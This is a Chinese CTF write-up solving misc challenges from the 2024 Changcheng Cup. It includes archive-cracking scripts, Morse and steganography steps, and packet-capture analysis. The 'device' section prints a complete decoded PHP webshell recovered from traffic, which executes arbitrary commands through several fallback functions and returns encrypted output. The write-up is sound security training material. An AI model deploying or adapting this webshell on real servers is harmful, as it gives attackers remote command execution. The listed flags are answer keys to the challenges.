网络安全 CTF WP 2024长城杯铁人三项WP hihopkc 2024-03-31 2024-04-19 MISC 压一压 题目附件给了一个 压一压.zip,然后里面有一个 flag.7z 和一个 pass.txt
pass.txt 中是一串有一个 ? 的字符串
那么毫无疑问密码应该是这个md5解密出来的内容,于是我跑去md5在线解密 发现解不出来???!
仔细观察后发现e48e5eb862692b0d4a?0bdb3a62e44d0这里面有一个字符居然是“问号” 根据md5加密原理,
md5是由字母a-f数字0-9组成的
那么有个问号的话 无疑就是这16个字符中的其中一个,通过不断尝试 发现这个字符为“f”
一查cmd5网站发现是这个79347793189,但这个作为密码不对,才发现原来md5就是解压密码
试着手动解了几层,发现一共有三种类型的压缩包:7z、rar、zip
无疑这是个套娃
解压了两次我发现 没解压一次文件小了1kb 当时猜测应该是套了400多个压缩包(实际压缩包有995个左右)
于是写一个 Python 脚本逐层爆破解套即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 # 原理是先读取pass.txt解压文件将问号替换成a-f 0-9这十六个字符 然后依次去尝试密码,再把解压出来的文件放进创建的文件夹,再次读取新解压出来的pass.txt继续执行替换 # 文件夹中正常只有三个文件 脚本文件 pass.txt 压一压.zip 每次执行请把上次执行的文件都删干净 不然会影响flag.txt结果 # 只能使用winrar来实现批量解压操作 # 会将每个问号替换正确的字符输出到flag.txt里面 # flag.txt里面第一个字符会多出来一个a(取决于16个字符哪个是第一位)是因为这个结果跑了两次 看尝试密码内容就能看出来,如果第一个不是a或者是a比较多那就说明有问题,请看第二条注意事项 import os import subprocess from itertools import product def replace_question_mark(password, char): return password.replace('?', char) def read_password(filename): with open(filename, 'r') as file: password = file.read().strip() return password def unzip_with_winrar(zip_file, password, output_dir): winrar_path = r'D:\WinRAR.exe' # WinRAR路径 command = f'"{winrar_path}" x -ibck -y -p{password} "{zip_file}" "{output_dir}"' # 添加 -y 参数 subprocess.run(command, shell=True) def main(): input_file = '压一压.zip' # 输入文件名 output_dir = 'unzipped' # 输出文件夹名 # 创建输出文件夹 if not os.path.exists(output_dir): os.makedirs(output_dir) # 打开flag.txt文件以便写入 flag_file = open('flag.txt', 'w') # 初始化密码 password = read_password('pass.txt') # 循环解压 count = 0 while True: output_subdir = os.path.join(output_dir, f'flag{count}') os.makedirs(output_subdir, exist_ok=True) found_char = None # 保存找到的字符 # 替换密码中的问号为所有可能的组合 for char in 'abcdef0123456789': new_password = replace_question_mark(password, char) print(f"尝试密码: {new_password}") unzip_with_winrar(input_file, new_password, output_subdir) files = os.listdir(output_subdir) if files: input_file = os.path.join(output_subdir, files[0]) pass_file = os.path.join(output_subdir, 'pass.txt') password = read_password(pass_file) found_char = char break if found_char is not None: flag_file.write(found_char) # 将找到的字符写入flag.txt文件 flag_file.flush() # 强制刷新缓冲区 else: break count += 1 # 关闭flag.txt文件 flag_file.close() # 实时打印flag.txt内容而不是等运行结束才一次性打印 with open('flag.txt', 'r') as file: for line in file: print(line, end='', flush=True) if __name__ == "__main__": main()
跑了两年半之后终于解压完毕了 将近1000个文件夹
打开最后一个文件夹发现里面有两个txt
完善脚本,对应问号替换的字符都输出到flag.txt里面
1 affffffffff89504e470d0a1a0a0000000d49484452000000640000006408000000005589ca88000000097048597300000b1300000b1301009a9c18000000206348524d00007a25000080830000f9ff000080e9000075300000ea6000003a980000176f925fc546000001724944415478daec996bae832010854f89bbe32cf7eccffe906a1a1e3288dea47748638d163ee60533e5b5e2fe16e0108738c4219f46d65e3c21890c94d7f802493d60937e598a92a4de02080800a17437244b19a26384ed8bd0767bf00d94a553e302200a9ae6c2ea9c63afbaae0463b77b857a7fdeecc2797f664fb3df541787b2e1b94bc1e458b90b53d3239eba60bb4ec3d3b41ece5cbb7cd37288431ce21087fc20644133179eb4d9af8516f74be59db199d5254e92a43d63bb2ccb492a54308ecc7659dad99c50284bbe290d2f39ad4fbe718d21346c93d8b240bcddbb464225748cc8abe118acb31e09f93317e68c65c5b37a8738c4210e71c8ff85f00148717b0e33673c5d5da6ec7e1d6eb13be3ffb3a30d024a871ac471c2911f6ee4ff3fcba0aeb8c6357df64b7ab2b58a76a2a908a2007dcd3c7f72394d55e6a93da5704d5b8b35a91fc98bc37829d26df68e60e4f55aa8e2c21f1b1010534468b87299583a3c02f19dd1210e71c86f41de03003d75451bc374a8580000000049454e44ae426082
(有个小bug 第一次密码会跑两次 所以说flag.txt第一个字符是多出来的,如果没改动的话 默认第一个是a)
发现是一张图片
按照解压的顺序,根据压缩包名称再替换成对应代表的符号
于是又写了个脚本,通过flag0到995文件夹名称顺序,依次读取里面的文件吧里面文件中包含三个压缩后缀的名称输出出来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 import osdef list_compressed_files (folder, output_file ): compressed_files = [] for root, dirs, files in os.walk(folder): for file in files: if file.endswith('.zip' ) or file.endswith('.rar' ) or file.endswith('.7z' ): compressed_files.append(file) with open (output_file, 'a' ) as f: for file_name in compressed_files: f.write(file_name + '\n' ) def main (): output_file = '123.txt' folder_paths = [f"flag{i} " for i in range (996 )] if os.path.exists(output_file): os.remove(output_file) for folder_path in folder_paths: if not os.path.exists(folder_path): print (f"文件夹路径 {folder_path} 不存在。" ) continue list_compressed_files(folder_path, output_file) print (f"文件夹 {folder_path} 中含有压缩文件的名称已经写入到{output_file} 文件中。" ) if __name__ == "__main__" : main()
生成出来的结果大家用记事本的替换功能,替换成对应他要代表的字符就OK了
1 -/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/..-./.-../.-/--./../.../.-/..-./....-/.-/-.-./.----/----././.-/-../.----/....-/.-/----./...--/-..././...--/----./---.././-.../---../.-/./...../...../-..../...../-----/--.../-../-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/../.-.////--..-..-//./.---..-..-./--.../-/..-.-/.-//--.-/-././-./-/./..-..-/////./-/.-//-/-..--/--...--/---/..-//---/./-...---..//--..////-.-/././-/.--./.-/-/-/.-...--/--./.-//-.--/..-..-/--.././//-./-/-.--//./--.///.-.-././.--.-.-/-..--/-..-/---.../.--/.////--.--..///....-.../.../--.--/-//./--/---.....//../--.-/..-.-/-..-/-//...-//..-.---///--.-/.......-.-..-././-..//-//-//--.-.-/--.//.---/////-//..-//..---.-/.---//-//-.--/-//-.../....//-/-./---./..-.--./--//..-.--..-////....//--...-.//.--/./..-//-.-./-./-////.//.-///-.-/-/../...../--/.//-.-.--.-/.-../-.--.././-.//./-../-.--..-/-/-.////..-.-//.-./..//-----./--//-//-/-/.---..-/-.-//./-../.-.----///-//-.-----///.//.---/
最后观察一下这个密文,其实就是摩斯电码 把替换成空格 然后拿去解密就行了
1 TTTTTTTTTTTTTTTTTTTTFLAGISAF4AC19EAD14A93BE398EB8AE556507DTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTIRE7TAQNENTEETATOUOEZKEETPATTGAYZENTYEG+EX:WESTEMIQXTVQEDTTGJTUJTYTBHTNMHWEUCNTEAKTI5MELENEDTNRIMTTTKEDTEJ
FLAG IS AF4AC19EAD14A93BE398EB8AE556507D
参考: 2024CTF长城杯misc题“压一压”解题思路
完整的提取脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 from string import printableimport zipfileimport rarfileimport py7zrimport osdef decompress_7z (archive_file ): with py7zr.SevenZipFile(archive_file, 'r' ) as archive: file_list = archive.list () new_archive_file = file_list[0 ].filename table = printable[:62 ] with open ("pass.txt" , 'r' ) as f: part_passwd = f.read().strip() for item in table: passwd = part_passwd.replace("?" , item) try : with py7zr.SevenZipFile(archive_file, mode='r' , password=passwd) as archive: archive.extractall("tmp/" ) print (f"用{passwd} 成功解压缩" ) data.append(item) break except : pass os.remove(archive_file) os.remove("pass.txt" ) os.system("mv tmp/* ." ) os.rmdir("tmp" ) return new_archive_file def decompress_rar (archive_file ): with rarfile.RarFile(archive_file, 'r' ) as rar_ref: file_list = rar_ref.namelist() new_archive_file = file_list[0 ] table = printable[:62 ] with open ("pass.txt" , 'r' ) as f: part_passwd = f.read().strip() for item in table: passwd = part_passwd.replace("?" , item) try : with rarfile.RarFile(archive_file, 'r' ) as rar_ref: rar_ref.extractall(path="tmp/" , pwd=passwd.encode()) print (f"用{passwd} 成功解压缩" ) data.append(item) break except : pass os.remove(archive_file) os.remove("pass.txt" ) os.system("mv tmp/* ." ) os.rmdir("tmp" ) return new_archive_file def decompress_zip (archive_file ): with zipfile.ZipFile(archive_file, 'r' ) as zip_ref: file_list = zip_ref.namelist() new_archive_file = file_list[0 ] os.mkdir("tmp" ) table = printable[:62 ] with open ("pass.txt" , 'r' ) as f: part_passwd = f.read().strip() for item in table: passwd = part_passwd.replace("?" , item) try : with zipfile.ZipFile(archive_file, 'r' ) as zip_ref: zip_ref.extractall(path="tmp/" , pwd=passwd.encode()) print (f"用{passwd} 成功解压缩" ) data.append(item) break except : pass os.remove(archive_file) os.remove("pass.txt" ) os.system("mv tmp/* ." ) os.rmdir("tmp" ) return new_archive_file if __name__ == "__main__" : data = [] morse_code = [] archive_file = "flag.7z" while True : if "7z" in archive_file: archive_file = decompress_7z(archive_file) morse_code.append("-" ) elif "rar" in archive_file: archive_file = decompress_rar(archive_file) morse_code.append("/" ) elif "zip" in archive_file: archive_file = decompress_zip(archive_file) morse_code.append("." ) else : break print ("掩码隐写内容如下:" )print ("" .join(data))print ("后缀隐写内容如下" )print ("" .join(morse_code))
flow 拉到最下面,追踪http流
flag{0ddeff-g9ef9ef0-defffef-mkt25gtf-kf}
chocked 题目附件给了一个压缩包,打开发现缺少了文件头,给它补上 504B0304
得到一个elephant文件
把文件内容复制到cyberchef里面
题目提示为clocked
那应该是clocked-pixel
密钥为elephant
解压后得到
flag{just_a_demo_picture}
ctfer 附件给了个加密的压缩包
解压后得到secret.txt
1 the password is "Hav1F6n",plz use it to solve other wav by py.
根据提示可以知道那个 png 图片中藏了一个wav 文件
把wav提取出来
然后使用stegpy
1 2 3 4 >python steg.py "D:\UserData\Desktop\1.wav" -p Enter password (will not be echoed): flag{57d69ef29caff0c7ad2fc921ee6c8e06}
flag{57d69ef29caff0c7ad2fc921ee6c8e06}
device 题目附件给了一个 pcapng 流量包文件,用Wireshark打开发现一堆红条和黑条,因此猜测是加密了
在没有解密的情况下翻阅流量包,发现有两个可疑文件,server.key 和 keep_going.jpg
因此尝试将这两个文件导出
将server.key导入
可以看到key为e45e329feb5d925b
然后在流 3149 中数据解码后得到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 @error_reporting(0); function getSafeStr($str){ $s1 = iconv('utf-8','gbk//IGNORE',$str); $s0 = iconv('gbk','utf-8//IGNORE',$s1); if($s0 == $str){ return $s0; }else{ return iconv('gbk','utf-8//IGNORE',$str); } } function main($cmd,$path) { @set_time_limit(0); @ignore_user_abort(1); @ini_set('max_execution_time', 0); $result = array(); $PadtJn = @ini_get('disable_functions'); if (! empty($PadtJn)) { $PadtJn = preg_replace('/[, ]+/', ',', $PadtJn); $PadtJn = explode(',', $PadtJn); $PadtJn = array_map('trim', $PadtJn); } else { $PadtJn = array(); } $c = $cmd; if (FALSE !== strpos(strtolower(PHP_OS), 'win')) { $c = $c . " 2>&1\n"; } $JueQDBH = 'is_callable'; $Bvce = 'in_array'; if ($JueQDBH('system') and ! $Bvce('system', $PadtJn)) { ob_start(); system($c); $kWJW = ob_get_contents(); ob_end_clean(); } else if ($JueQDBH('proc_open') and ! $Bvce('proc_open', $PadtJn)) { $handle = proc_open($c, array( array( 'pipe', 'r' ), array( 'pipe', 'w' ), array( 'pipe', 'w' ) ), $pipes); $kWJW = NULL; while (! feof($pipes[1])) { $kWJW .= fread($pipes[1], 1024); } @proc_close($handle); } else if ($JueQDBH('passthru') and ! $Bvce('passthru', $PadtJn)) { ob_start(); passthru($c); $kWJW = ob_get_contents(); ob_end_clean(); } else if ($JueQDBH('shell_exec') and ! $Bvce('shell_exec', $PadtJn)) { $kWJW = shell_exec($c); } else if ($JueQDBH('exec') and ! $Bvce('exec', $PadtJn)) { $kWJW = array(); exec($c, $kWJW); $kWJW = join(chr(10), $kWJW) . chr(10); } else if ($JueQDBH('exec') and ! $Bvce('popen', $PadtJn)) { $fp = popen($c, 'r'); $kWJW = NULL; if (is_resource($fp)) { while (! feof($fp)) { $kWJW .= fread($fp, 1024); } } @pclose($fp); } else { $kWJW = 0; $result["status"] = base64_encode("fail"); $result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available"); $key = $_SESSION['k']; echo encrypt(json_encode($result)); return; } $result["status"] = base64_encode("success"); $result["msg"] = base64_encode(getSafeStr($kWJW)); echo encrypt(json_encode($result)); } function Encrypt($data) { $key="e45e329feb5d925b"; for($i=0;$i<strlen($data);$i++) { $data[$i] = $data[$i]^$key[$i+1&15]; } $bs="base64_"."encode"; $after=$bs($data.""); return $after; } $cmd="Y2QgL3RtcC90ZXN0LyA7ZWNobyAiMDUzNzAwMzU3NjIxIj4vdG1wL3Rlc3QvcGljdHVyZV9wYXNzd2Q=";$cmd=base64_decode($cmd);$path="L3RtcC90ZXN0Lw==";$path=base64_decode($path); main($cmd,$path);
1 cd /tmp/test/ ;echo "053700357621">/tmp/test/picture_passwd
密码为053700357621
1 2 >steghide.exe extract -sf "D:\UserData\Desktop\长城杯\MISC\device\keep_going.jpg" -p 053700357621 wrote extracted data to "flag.txt".
flag{i_am_4_Sk111ed_H4ck32}
notgiveup 解压发现是有个foremost压缩包,发现是工具来的
还有一个pacpng
打开是个流量分析,用wireshark打开
发现里面是菜刀的流量
找到上传的文件的地方,选择追踪到第7个TCP流<tcp.stream eq 7>。
然后发现下面的两个参数z1和z2,z1很短,值如下RDpcd2FtcDY0XHd3d1x1cGxvYWRcNjY2Ni5qcGc%3D,然后解BASE64后的值如下D:\wamp64\www\upload\6666.jpg
,估计后面的z2的值就是这张图片的内容了吧(开头为FF D8典型的jpg文件格式)。
直接复制粘贴到winhex里面去保存为1.jpg即可。内容识别一下是Th1s_1s_p4sswd_!!!
,继续向后追踪tcp流。
追踪到流9的时候发现了仔细观察最下面的东西发现应该是一个加密的压缩包的内容,内容如下
1 2 ->|PK...........KQ...4...(.......flag.txtC......cS...J..Ea.v....&e$K..2%..$..,..=.J..1p..p46.PK..?..........KQ...4...(.....$....... .......flag.txt . .........J. ..p.. .o2.p.. .o2.p..PK..........Z...Z.....well,you need passwd!.|<-
直接把整个流量包拉到kali里面用binwalk或者foremost
1 binwalk -e 题目1.pcapng --run-as=root
分离出压缩包之后拉到windows里面解压(zip后缀名的是我们需要的压缩包),直接复制到win解压,
但是一开始解压不了,用winrar自带的恢复一下
然后密码为刚才图片上的密码:Th1s_1s_p4sswd_!!!
解压后得到flag.txt
1 flag{3OpWdJ-JP6FzK-koCMAK-VkfWBq-75Un2z}
chocolate 解压后得到图片,用010打开
把他导出来
改一下文件头52 61 72 21,为rar
爆破一下密码
88488
解压后得到
直接搜索flag
flag{misc_like _chocolate}